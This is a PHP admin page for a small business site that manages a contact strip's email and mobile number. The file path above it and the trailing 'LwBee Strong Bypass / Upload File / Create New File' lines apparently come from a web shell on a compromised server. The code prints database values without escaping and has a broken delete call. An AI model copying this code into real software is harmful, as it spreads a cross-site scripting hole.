/home3/vehiclea/public_html/admin-yashuenterprises-in/topStrip.php
<?php
$_SESSION['active'] = 'topStrip';
include 'header.php';
include 'sidelinks.php';
include('include/functions.php');
$query = select_topStrip();
if(!empty($_POST['submit'])){
topStrip_insert();
}
if(!empty($_GET['failed'])){
?>
<div align="center"><h4 style="color:red;">Fail Inserted </h4></div>
<?php
}
?>
<?php
if(!empty($_GET['succ'])){
?>
<div align="center">
<h4 style="color:green;">Data Insert Successfully </h4>
</div>
<?php
}
?>
<div class="pcoded-content">
<div class="page-header card">
<div class="row align-items-end">
<div class="col-lg-8">
<div class="page-header-title">
<i class="feather icon-clipboard bg-c-blue"></i>
<div class="d-inline">
<h5>Top Strip Form Inputs</h5>
<span>To Change Top Strip Mail and Mobile Number Here</span>
</div>
</div>
</div>
<div class="col-lg-4">
<div class="page-header-breadcrumb">
<ul class=" breadcrumb breadcrumb-title">
<li class="breadcrumb-item">
<a href="#"><i class="feather icon-home"></i></a>
</li>
<li class="breadcrumb-item"><a href="#">Form Components</a>
</li>
<li class="breadcrumb-item">
<a href="#">Top Strip Form Inputs</a>
</li>
</ul>
</div>
</div>
</div>
</div>
<div class="pcoded-inner-content">
<div class="main-body">
<div class="page-wrapper">
<div class="page-body">
<div class="row">
<div class="col-sm-12">
<div class="card">
<div class="card-header">
<h5>Top Strip Form Inputs</h5>
<span>Add class of <code>.form-control</code> with <code><input></code> tag</span>
</div>
<?php
if(!empty($_GET['del'])){
delete_topStrip(delId);
}
?>
<div class="card-block">
<h4 class="sub-title">Top Strip Inputs</h4>
<form method="post" enctype="multipart/form-data" onsubmit=" return book_validation()">
<div class="form-group row">
<label class="col-sm-2 col-form-label">Email</label>
<div class="col-sm-10">
<input type="text" class="form-control" name="email" placeholder="Enter Email Here">
</div>
</div>
<div class="form-group row">
<label class="col-sm-2 col-form-label" >Mobile</label>
<div class="col-sm-10">
<input type="number" class="form-control" maxlength="10" name="mobile" placeholder="Enter Mobile Number Here">
</div>
</div>
<div class="form-group row">
<div class="col-sm-3"> </div>
<div class="col-sm-6">
<p style="text-align: center;">
<input type="submit" name="submit" value="Update" class="btn waves-effect waves-light btn-grd-success">
</p>
</div>
<div class="col-sm-3"> </div>
</div>
</form>
</div>
<div class="card-block">
<h4 class="sub-title">Reports</h4>
<table class="table datatable">
<thead>
<tr>
<th scope="col">#</th>
<th scope="col">E-mail</th>
<th scope="col">Mobile</th>
<th scope="col">Action</th>
</tr>
</thead>
<tbody>
<?php
$i=1;
while($row = mysqli_fetch_array($query))
{
?>
<tr>
<td><?php echo $row['id'] ;?></td>
<td><?php echo $row['email'] ?></td>
<td><?php echo $row['mobile']?></td>
<td>
<form method="post">
<a href="topStripEdit.php?editId=<?php echo $row['id']?>" class="btn btn-success">Edit</a>
<a href="javascript:void();" onclick="confirmDelete(<?php echo $row['id']?>)" class="btn btn-danger">Delete</a>
</form>
</td>
</tr>
<?php
$i++;
}
?>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
<script>
function confirmDelete(catid)
{
if (catid != '') {
var x = confirm('Are you sure to Delete?');
if(x){
$.ajax({
url : "delete.php",
data : {catid : catid},
type : 'POST',
success : function(response) {
if(response ==1){
window.location.href = "topStrip.php";
}
}
});
}
}
}
</script>
<?php include 'footer.php'; ?>
@LwBee Strong Bypass
Upload File
Create New File